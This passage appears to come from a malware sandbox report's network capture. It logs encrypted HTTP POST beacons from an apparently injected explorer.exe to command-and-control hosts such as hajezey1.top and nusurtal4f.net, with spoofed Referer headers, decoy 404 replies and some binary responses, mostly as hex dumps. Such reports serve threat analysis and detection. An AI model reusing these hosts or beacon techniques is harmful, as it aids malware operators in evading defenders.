Oct 29, 2021 17:55:44.385288954 CEST	9664	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49846	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:44.541790962 CEST	9665	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pkxhixnn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 269 Host: hajezey1.top
Oct 29, 2021 17:55:44.541843891 CEST	9666	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 42 aa aa 06 Data Ascii: lI\|FG2@i^mwmwu$f]dB&2?@4hJH~)mZhKUV80MZMz+00ucAXi4OWjI0:w,bt1ni&TFQx@9<]_mR,_wa^5
Oct 29, 2021 17:55:44.623198032 CEST	9666	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49835	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49847	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:44.767307997 CEST	9667	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xjjqkp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 185 Host: hajezey1.top
Oct 29, 2021 17:55:44.767337084 CEST	9667	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 4f 83 a3 2a Data Ascii: lI\|FG2@i^mwmwu$f]dORF-uKi5c&jf\|Laz?+D`cN:$l:!^=?!4XQ4k{]WaE;hH
Oct 29, 2021 17:55:44.848372936 CEST	9668	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49848	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:45.057451010 CEST	9669	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sqgxbwy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: hajezey1.top
Oct 29, 2021 17:55:45.059524059 CEST	9669	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 5b c5 a2 7e Data Ascii: lI\|FG2@i^mwmwu$f]d[~s8dPBT34&h^M,NE!iK~4?XQ,$7c>"S9%OHIW8V0gJdZEVC{B-o}{
Oct 29, 2021 17:55:45.135441065 CEST	9670	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	49849	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:45.260617018 CEST	9670	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yvrtx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: hajezey1.top
Oct 29, 2021 17:55:45.260631084 CEST	9671	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 13 b1 ca 21 Data Ascii: lI\|FG2@i^mwmwu$f]d!Bj3~$A/3iU+zBTo%oyS -A\|\|-GhLt
Oct 29, 2021 17:55:45.343466043 CEST	9671	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49850	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:45.458841085 CEST	9672	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vyivfmetg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: hajezey1.top
Oct 29, 2021 17:55:45.458869934 CEST	9672	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 37 8a b2 28 Data Ascii: lI\|FG2@i^mwmwu$f]d7(Nz"sy(L5\[*gGxH}]d,61L}98T1M4Z~(T4xe#O`t{>;l'9S>Y2:~>_Z$j2;#mUS{
Oct 29, 2021 17:55:45.539212942 CEST	9673	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49851	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:45.640563965 CEST	9674	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wdgyfowqds.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 211 Host: hajezey1.top
Oct 29, 2021 17:55:45.640584946 CEST	9674	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 49 b7 be 1f Data Ascii: lI\|FG2@i^mwmwu$f]dIDfu]v.rt]<8o8+]2??l[v+'?]*40W.6<?\|rm%{B7e7Uc&w
Oct 29, 2021 17:55:45.718061924 CEST	9675	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49856	45.141.84.21	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:56:04.768992901 CEST	10596	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 334 Host: nusurtal4f.net
Oct 29, 2021 17:56:04.769001961 CEST	10597	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 b1 dc 16 a3 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO`9vLC^xqj&&$/L925~y>>N]!HErQ,t7Soz7mXf3$;'+jfY~@Uo$
Oct 29, 2021 17:56:04.940594912 CEST	10597	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 03 00 00 00 1d 3d 5d Data Ascii: =]
Oct 29, 2021 17:56:04.947161913 CEST	10597	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: nusurtal4f.net
Oct 29, 2021 17:56:04.947180033 CEST	10598	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 f1 e8 0d dc Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO?~5/Fdrp"ava<z)m8{-*;<RK8x+peB+V3[;\|l$&9&@
Oct 29, 2021 17:56:05.113419056 CEST	10598	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 42 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 7e c2 5d 31 0e Data Ascii: Uys/~(`:@f&["j~]1
Oct 29, 2021 17:56:10.281486988 CEST	11512	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: nusurtal4f.net
Oct 29, 2021 17:56:10.281687975 CEST	11513	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 ba 8a 14 62 cc d6 4f 96 f4 bb 26 b4 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO&zC7p:X#=dg%+P(.r\5@,V-;VLjM3}ua427F4?PKY
Oct 29, 2021 17:56:10.454312086 CEST	11519	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 327 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 